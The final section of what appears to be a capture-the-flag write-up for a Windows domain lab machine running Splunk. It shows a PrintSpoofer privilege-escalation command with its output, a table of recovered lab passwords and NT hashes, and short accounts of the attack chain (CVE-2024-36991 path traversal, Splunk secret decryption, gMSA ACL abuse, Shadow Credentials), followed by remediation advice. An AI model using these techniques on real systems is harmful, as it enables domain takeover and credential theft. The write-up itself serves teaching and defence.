d-r---          5/8/2021   1:20 AM                Music                      
d-r---          5/8/2021   1:20 AM                Pictures                   
d-----          5/8/2021   1:20 AM                Saved Games                
d-r---          5/8/2021   1:20 AM                Videos                     
-a----         3/24/2026   9:06 PM          27136 PrintSpoofer64.exe  


PS C:\Users\Alexander.Green> .\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Users\Alexander.Green\root.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[!] CreateProcessAsUser() failed because of a missing privilege, retrying with CreateProcessWithTokenW().
[+] CreateProcessWithTokenW() OK


PS C:\Users\Alexander.Green> type root.txt
dc6cxxxxxxxxxxxxxxxxxxxxdc56
```

***

### Credential Summary

| User            | Password / Hash                         | Source                                             |
| --------------- | --------------------------------------- | -------------------------------------------------- |
| paul.taylor     | `Ld@p_Auth_Sp1unk@2k24`                 | Decrypted from `authentication.conf` (live Splunk) |
| mark.adams      | `Ld@p_Auth_Sp1unk@2k24`                 | Password spray                                     |
| Haze-IT-Backup$ | `4698be2343a63e5d65b330c95f0834a5` (NT) | gMSADumper                                         |
| edward.martin   | `09e0b3eeb2e7a6b0d419e9ff8f4d91af` (NT) | Shadow Credentials                                 |
| alexander.green | `Sp1unkadmin@2k24`                      | Decrypted from Splunk backup                       |

***

### Key Techniques

**CVE-2024-36991 — Splunk Path Traversal**\
Unauthenticated file read on Splunk Enterprise ≤ 9.2.1 for Windows via `C:../` sequences in the messaging module URL. Allowed reading `etc/passwd`, `splunk.secret`, `authentication.conf`, and `server.conf` without any credentials.

**Splunk Secret Decryption**\
Both `$7$` (PBKDF2) and `$1$` (RC4) encrypted Splunk password values can be reversed using the corresponding `splunk.secret` file with the `splunksecrets` Python tool.

**gMSA Password Retrieval Abuse**\
The `msDS-GroupMSAMembership` attribute is a DACL-like ACL stored on the gMSA object. Any principal with WRITE access to the gMSA object can modify it to grant themselves permission to retrieve the managed password, then dump it via LDAP.

**WriteOwner → FullControl → Group Membership**\
Having WriteOwner on an AD object is equivalent to full control: take ownership, rewrite the DACL, then do anything — in this case joining the group and inheriting its downstream permissions.

**Shadow Credentials (msDS-KeyCredentialLink)**\
Writing a custom public key to a user's `msDS-KeyCredentialLink` attribute allows authenticating as that user using the corresponding private key via PKINIT, bypassing the need for their password. The NT hash is obtained as a by-product of the PKINIT authentication.

**SeImpersonatePrivilege → SYSTEM**\
Splunk runs as a high-integrity process with `SeImpersonatePrivilege`. PrintSpoofer exploits this by coercing the Spooler service to authenticate over a named pipe, then impersonating the resulting SYSTEM token.

***

### Remediation Recommendations

1. **Patch Splunk** to version ≥ 9.2.2 / 9.1.5 / 9.0.10 to remediate CVE-2024-36991. Apply network controls restricting access to Splunk management ports.
2. **Protect `splunk.secret`** — treat it as a master key. Rotate it after any suspected exposure.
3. **Audit gMSA ACLs** — restrict `msDS-GroupMSAMembership` to only the principals that genuinely need the password. Regularly audit writable permissions on service account objects.
4. **Audit WriteOwner/WriteDACL** — enumerate AD objects where non-admin users hold these rights using tools like BloodHound. WriteOwner alone is sufficient for complete object takeover.
5. **Protect KeyCredentialLink** — monitor writes to `msDS-KeyCredentialLink` for non-whitelisted principals (Microsoft Defender for Identity generates alerts for this).
6. **Restrict SeImpersonatePrivilege** — ensure it is only assigned to service accounts that genuinely require it. Consider running Splunk under a low-privilege virtual service account.
7. **Rotate credentials when a backup is exposed** — the Splunk backup archive contained valid credentials. Any backup containing `splunk.secret` should be treated as highly sensitive.
